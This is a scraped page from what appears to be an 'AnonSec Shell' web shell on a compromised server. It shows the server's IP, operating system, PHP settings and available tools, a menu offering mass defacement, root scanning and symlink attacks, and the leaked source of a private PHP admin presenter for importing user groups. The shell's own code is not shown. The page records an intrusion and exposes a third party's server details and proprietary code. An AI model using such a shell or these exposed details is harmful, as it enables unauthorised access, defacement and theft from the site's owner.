AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 31.31.79.131 / Your IP : 172.18.0.1 [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /var/www/html/app/adminModule/presenters/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/html/app/adminModule/presenters/UserGroupPresenter.php

<?php

namespace App\adminModule\Presenters;

/**
 * User group presenter
 * EX Price groups presenter.
 */

use Nette\Application\UI\Form;
use Nette\Database\Connection;
use Nette\Forms\Controls\TextInput;
use Nette\Http\FileUpload;
use Promoteus\AdministratorRepository;
use Promoteus\Components\IUserGroupGridControlFactory;
use PHPExcel_IOFactory;
use PHPExcel_Reader_CSV;
use Promoteus\UserGroupAccessibilityRepository;
use Promoteus\UserGroupRepository;


class UserGroupPresenter extends SecurePresenter
{

    const DATABASE_COLUMN_TO_EXCEL_COLUMN = [
        'id' => 'ID',
        'product_id' => 'Produkty',
        'product_visible' => 'Aktivní produkty'
    ];


    /** @var UserGroupRepository @inject */
    public $repository;

    /** @var UserGroupAccessibilityRepository @inject */
    public $groupAccess;


    /**
     * @var IUserGroupGridControlFactory  @inject
     */
    public $gridControlFactory;


    public function renderDefault()
    {
        $this->template->modalModeIsEdit = $this->getParameter('id', false);
    }


    public function renderEdit($id)
    {
        $form = $this['editForm'];
        if (!$form->isSubmitted()) {
            $userGroup = $this->repository->getById((int)$id);
            if (!$userGroup) {
                $this->error('Specifikovaná zákaznická skupina nebyla nalezena.');
            }

            $form->setDefaults($userGroup);
        }
    }


    public function renderCreate()
    {
    }


    public function renderDelete($id)
    {
        $this->template->userGroup = $this->repository->getById($id);
    }


    /**
     * Edit user group form factory.
     * @return Form
     */
    protected function createComponentEditForm()
    {
        $form = $this->createEditForm();

        $form->addSubmit('delete', 'Smazat')
            ->setAttribute('class', 'btn btn-danger')
            ->onClick[] = $this->redirectToDelete;

        return $form;
    }


    /**
     * Create user group form factory.
     * @return Form
     */
    protected function createComponentCreateForm()
    {
        return $this->createEditForm();
    }


    /**
     * Create and edit user group form factory.
     * @return Form
     */
    private function createEditForm()
    {
        $form = new Form;

        $repository = &$this->repository;
        $id = $this->getParameter('id');

        $form->addText('title', 'Název')
            ->setRequired('%label je povinná položka.')
            ->addRule(Form::MAX_LENGTH, '%label musí být dlouhý maximálně %d znaků.', 32);

        $form->addText('altus_id', 'Altus ID')
            ->setRequired('%label je povinná položka.')
            ->addRule(Form::MAX_LENGTH, '%label musí být dlouhý maximálně %d znaků.', 16)
            ->addRule(function (TextInput $control) use ($repository, $id) {
                return $repository->isAltusIdAvailable($control->getValue(), $id);
            }, 'Zákaznická skupina s tímto Altus ID již existuje! Zvolte jiné Altus ID.');


        $form->addSubmit('save', 'Uložit')
            ->setAttribute('class', 'btn btn-success');

        $form->addSubmit('cancel', 'Zrušit')
            ->setAttribute('class', 'btn')
            ->setValidationScope(FALSE)
            ->onClick[] = $this->formCancelled;

        $form->addProtection();

        // call this method on success
        $form->onSuccess[] = $this->save;

        return $form;
    }


    /**
     * Delete user group form factory.
     * @return Form
     */
    protected function createComponentDeleteForm()
    {
        $form = new Form;
        $form->addSubmit('cancel', 'Zrušit')
            ->setAttribute('class', 'btn')
            ->onClick[] = $this->formCancelled;

        $form->addSubmit('delete', 'Smazat')
            ->setAttribute('class', 'btn btn-danger')
            ->onClick[] = $this->deleteFormSucceeded;

        $form->addProtection();

        return $form;
    }

    /**
     * Edit client form factory.
     * @return Form
     */
    protected function createComponentImportForm()
    {
        $form = new \Promoteus\Form;

        $form->addUpload('file')
            ->addRule(Form::MIME_TYPE, 'Soubor musí být ve formátu csv nebo xlsx', ['text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])
            ->addRule(Form::MAX_FILE_SIZE, 'Maximum file size is 10  mb.', 10000 * 1024 /* size in Bytes */)
            ->setRequired(TRUE);
        $form->addSubmit('import', 'Importovat skupinu')
            ->setAttribute('class', 'btn btn-information');
        $form->onSuccess[] = [$this, "import"];

        return $form;
    }

    public function redirectToDelete()
    {
        $this->redirect('delete', array('id' => $this->getParameter('id')));
    }


    /* public function save($form)
     {
         $id = $this->getParameter('id');

         $values = $form->getValues();

         try {
             $this->repository->persist($id, $values);

             $this->flashMessage('Zákaznická skupina "<strong>' . $values['title'] . '</strong>" byla ' . ($id ? 'uložena.' : 'vytvořena.'), 'success');
             $this->redirect('default');
         } catch (\PDOException $e) {
             $this->flashMessage('Zákaznická skupinu se nepodařilo ' . ($id ? 'uložit' : 'vytvořit') . ' Zkuste to, prosím, znovu.', 'danger');
         }
     }*/


    public function deleteFormSucceeded()
    {
        $this->repository->getById($this->getParameter('id'))->delete();

        $this->flashMessage('Zákaznická skupina byla úspěšně smazána.', 'success');

        $this->redirect('default');
    }


    public function formCancelled()
    {
        $this->flashMessage('Operace byla zrušena uživatelem. Žádné změny nebyly provedeny.', 'info');

        $this->redirect('default');
    }

    protected function createComponentUserGroupForm()
    {
        $formImport = new \Promoteus\Form;
        $formImport->addUpload('file')
            ->addRule(Form::MIME_TYPE, 'Soubor musí být ve formátu csv nebo xlsx', ['text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])
            ->addRule(Form::MAX_FILE_SIZE, 'Maximum file size is 10  mb.', 10000 * 1024 /* size in Bytes */)
            ->setRequired(TRUE);
        $formImport->addSubmit('import', 'Importovat skupinu')
            ->setAttribute('class', 'pull-right btn btn-primary btn-rounded');

        $formImport->onSuccess[] = [$this, "import"];
        $formImport->addHidden('gridId');
        $formImport['gridId']->setValue($this->getRequest()->getParameter('grid-id'));
        return $formImport;
    }

    /**
     * @param Form $form
     * @throws \PHPExcel_Exception
     * @throws \PHPExcel_Reader_Exception
     */
    public function import($formImport)
    {
        $values = $formImport->getValues();

        /** @var FileUpload $file */
        $file = $values->file;

        //podle typu obsahu vybere reader, pokud neznam, necham Excel at nahraje soubor sam.
        switch ($file->getContentType()) {
            case "text/csv":
                $objReader = (new PHPExcel_Reader_CSV())
                    ->setDelimiter(';')
                    ->setEnclosure('"')
                    ->setSheetIndex(0);

                $excel = $objReader->load($file);
                break;
            default:
                $excel = PHPExcel_IOFactory::load($file);
        }

        $sheet = $excel->getActiveSheet();
        $data = $sheet->toArray(null, true, true, true);
        unset($data[1]);
        $group_id = $values['gridId'];

        $products = [];
        foreach ($data as $d) {
            if (array_key_exists('A', $d) && array_key_exists('B', $d)) {
                $products[$d['A']] = (int) $d['B'];
            }
            /*foreach ($d as $column => $value) {

                if ($column == 'A') {
                    array_push($products, $value);
                }
            }*/
        }

        try {
            $this->groupAccess->deleteUserGroup($group_id);
            $this->groupAccess->insertFromExcel($group_id, $products);
            //$this->groupAccess->insertProducts($group_id, $products);
            //$this->groupAccess->insertProductsAltus($group_id, $productsAltus);
            $this->flashMessage("Skupina byla importována",'success');
        } catch (InvalidArgumentException|Exception $e) {
            $this->flashMessage("Na řádku číslo $i došlo k chybě:<br>" . $e->getMessage(), 'danger');
        }
    }
}

Anon7 - 2022
AnonSec Team